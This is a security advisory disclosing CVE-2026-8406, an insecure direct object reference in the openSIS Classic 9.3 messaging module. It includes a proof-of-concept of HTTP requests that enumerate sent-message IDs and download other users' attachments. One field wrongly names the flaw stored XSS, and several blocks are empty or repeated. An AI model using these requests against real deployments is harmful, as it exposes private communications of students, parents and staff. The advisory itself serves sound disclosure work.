openSIS Classic 9.3 - Insecure Direct Object Reference in Sent Mail

7.1

High

Discovered by

Daniel Esteban Celis

External researcher

Summary

Full name

openSIS Classic 9.3 - Insecure Direct Object Reference in Sent Mail message retrieval and attachment download

Code name

State

Public

Release date

Affected product

openSIS Classic

Vendor

openSIS

Affected version(s)

9.3

Fixed version(s)

commit (c45d431)

Vulnerability name

Stored cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.1

Exploit available

Yes

CVE ID(s)

Description

openSIS Classic 9.3 contains an insecure direct object reference vulnerability in the messaging module. Any authenticated user with access to the messaging module can request sent-message details from modules/messaging/SentMail.php by supplying an arbitrary mail_id value.

The sent-mail listing query correctly limits rows to the current authenticated user. However, the message body retrieval branch uses the client-controlled mail_id directly in a msg_outbox query and does not verify that the requested message belongs to the current session user. Because msg_outbox.mail_id is an auto-incrementing integer, an authenticated attacker can enumerate message identifiers and retrieve sent messages belonging to other users, including administrative users.

Attachments referenced by the exposed messages are also affected. DownloadWindow.php downloads records from user_file_upload by down_id without checking that the authenticated user owns the file or is authorized to access the message that references it. Direct mass enumeration of down_id depends on the deployment schema because newer schemas define download_id as a UUID, but once a vulnerable sent message is retrieved, the page exposes attachment download links that can be used without an ownership check.

Vulnerability

Root cause

  1. Authenticated module dispatch (Ajax.php:234-258):

    
    
    
    
    
    
    
    

    Ajax.php includes allowed modules for authenticated users. messaging/SentMail.php is available in the messaging menu for admin, teacher, parent, and student profiles.

  2. Sent-mail listing is owner-filtered (modules/messaging/SentMail.php:191-202):

    
    
    
    
    
    
    
    

    The listing view only displays messages sent by the authenticated user.

  3. Sent-mail body retrieval does not enforce ownership (modules/messaging/SentMail.php:60-67):

    
    
    
    
    
    
    
    

    This query only filters by mail_id. It does not require from_user = User('USERNAME'), nor does it join login_authentication to validate the current USER_ID and PROFILE_ID.

  4. The inbox body retrieval shows the intended authorization pattern (modules/messaging/Inbox.php:441-449):

    
    
    
    
    
    
    
    

    The inbox path validates the message recipient against the authenticated user's identity. The sent-mail path lacks the equivalent sender-side check.

  5. Attachment download lacks authorization (DownloadWindow.php:67-100):

    
    
    
    
    
    
    
    

    The download endpoint retrieves and returns file content by download_id without verifying USER_ID, PROFILE_ID, SCHOOL_ID, SYEAR, FILE_INFO, message ownership, or recipient/sender authorization.

Confirmed source-to-sink path

  1. An authenticated user reaches Ajax.php with an allowed messaging module.

  2. Ajax.php includes modules/messaging/SentMail.php.

  3. The attacker supplies modfunc=body and a chosen mail_id.

  4. SentMail.php queries msg_outbox using only the supplied mail_id.

  5. The returned row is rendered to the response, including subject, sender, recipients, body, timestamp, and attachment links.

  6. If an exposed message has mail_attachment, SentMail.php queries user_file_upload by attachment IDs and renders DownloadWindow.php?down_id=<DOWNLOAD_ID> links.

  7. DownloadWindow.php returns the referenced file content without checking that the current user is authorized to access the file.

Why mass exfiltration by mail_id is supported by code

The message identifier is sequential by schema:

CREATE TABLE IF NOT EXISTS `msg_outbox` (
  `mail_id` int(11) NOT NULL AUTO_INCREMENT,
  ...
  PRIMARY KEY (`mail_id`)
)
CREATE TABLE IF NOT EXISTS `msg_outbox` (
  `mail_id` int(11) NOT NULL AUTO_INCREMENT,
  ...
  PRIMARY KEY (`mail_id`)
)
CREATE TABLE IF NOT EXISTS `msg_outbox` (
  `mail_id` int(11) NOT NULL AUTO_INCREMENT,
  ...
  PRIMARY KEY (`mail_id`)
)
CREATE TABLE IF NOT EXISTS `msg_outbox` (
  `mail_id` int(11) NOT NULL AUTO_INCREMENT,
  ...
  PRIMARY KEY (`mail_id`)
)

Because mail_id values are predictable integers and the body query lacks ownership constraints, an attacker can request mail_id=1, mail_id=2, mail_id=3, and so on, collecting every existing msg_outbox row returned by the application.

Impact

An authenticated low-privileged user can read sent-message content belonging to other accounts. The exposed data may include:

  • message subject

  • message body

  • sender username and display name

  • recipients, CC, and BCC values stored in the outbox row

  • send timestamp

  • attachment references and downloadable attachment content

This can result in broad confidentiality compromise of internal messaging data. The impact is amplified by the sequential mail_id design, which allows practical enumeration of the sent-message table from the web interface.

Relevant code:

  • Ajax.php:234-258 (authenticated module include)

  • modules/messaging/Menu.php:29-62 (messaging module available to admin, teacher, parent, and student profiles)

  • modules/messaging/SentMail.php:60-67 (vulnerable sent-message body query)

  • modules/messaging/SentMail.php:144-174 (attachment link rendering from exposed message)

  • modules/messaging/SentMail.php:191-202 (owner-filtered sent-message listing)

  • modules/messaging/Inbox.php:441-449 (contrasting owner-filtered inbox body query)

  • DownloadWindow.php:67-100 (unauthorized file download by down_id)

  • install/OpensisSchemaMysqlInc.sql:1339-1354 (msg_outbox.mail_id auto-increment schema)

  • install/OpensisUpdateSchemaMysql.sql:1930-1943 (user_file_upload.download_id schema)

PoC

Preconditions

  • openSIS Classic 9.3 instance with messaging enabled.

  • Any valid authenticated user account with access to messaging/SentMail.php.

  • At least one existing sent message in msg_outbox.

Step 1 - Authenticate as a low-privileged user

Sign in to openSIS as any non-administrative user who can access the messaging module.

Step 2 - Request a sent-message body by explicit mail_id

Request:

GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=1&ajax=true HTTP/1.1
Host: opensis.example.test
Cookie: PHPSESSID=<authenticated-session>

GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=1&ajax=true HTTP/1.1
Host: opensis.example.test
Cookie: PHPSESSID=<authenticated-session>

GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=1&ajax=true HTTP/1.1
Host: opensis.example.test
Cookie: PHPSESSID=<authenticated-session>

GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=1&ajax=true HTTP/1.1
Host: opensis.example.test
Cookie: PHPSESSID=<authenticated-session>

Expected vulnerable result:

  • If msg_outbox.mail_id = 1 exists, the response contains the sent-message detail view.

  • The response is returned even when the authenticated user is not the sender of that message.

Step 3 - Enumerate sequential message identifiers

Repeat the same request with increasing mail_id values:

GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=2&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=3&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=4&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=2&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=3&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=4&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=2&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=3&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=4&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=2&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=3&ajax=true HTTP/1.1
GET /opensis/Ajax.php?modname=messaging/SentMail.php&modfunc=body&mail_id=4&ajax=true HTTP/1.1

Expected vulnerable result:

  • Existing mail_id values return arbitrary sent-message content.

  • Missing mail_id values return no message content.

  • Authorization is not tied to the authenticated user's username, user ID, or profile ID.

Step 4 - Download an attachment exposed by a retrieved message

If the retrieved message contains an attachment, the response renders a link similar to:

<a href='DownloadWindow.php?down_id=<DOWNLOAD_ID>'>attachment-name.ext</a>
<a href='DownloadWindow.php?down_id=<DOWNLOAD_ID>'>attachment-name.ext</a>
<a href='DownloadWindow.php?down_id=<DOWNLOAD_ID>'>attachment-name.ext</a>
<a href='DownloadWindow.php?down_id=<DOWNLOAD_ID>'>attachment-name.ext</a>

Request:

GET /opensis/DownloadWindow.php?down_id=<DOWNLOAD_ID> HTTP/1.1
Host: opensis.example.test
Cookie: PHPSESSID=<authenticated-session>
GET /opensis/DownloadWindow.php?down_id=<DOWNLOAD_ID> HTTP/1.1
Host: opensis.example.test
Cookie: PHPSESSID=<authenticated-session>
GET /opensis/DownloadWindow.php?down_id=<DOWNLOAD_ID> HTTP/1.1
Host: opensis.example.test
Cookie: PHPSESSID=<authenticated-session>
GET /opensis/DownloadWindow.php?down_id=<DOWNLOAD_ID> HTTP/1.1
Host: opensis.example.test
Cookie: PHPSESSID=<authenticated-session>

Expected vulnerable result:

  • DownloadWindow.php returns the file content associated with <DOWNLOAD_ID>.

  • The endpoint does not validate ownership or message-level authorization before returning the file.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-8406 to refer to this issue from now on.

Disclosure policy

System Information

  • openSIS Classic

  • Version: 9.3 Community Edition

  • Operating System: Any deployment running the affected openSIS Classic messaging module

References

Mitigation

An updated version of openSIS Classic is available at the vendor page.

Credits

The vulnerability was discovered by Daniel Celis, an independent security researcher.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Follow-up with vendor

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2026 Fluid Attacks. We hack your software.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.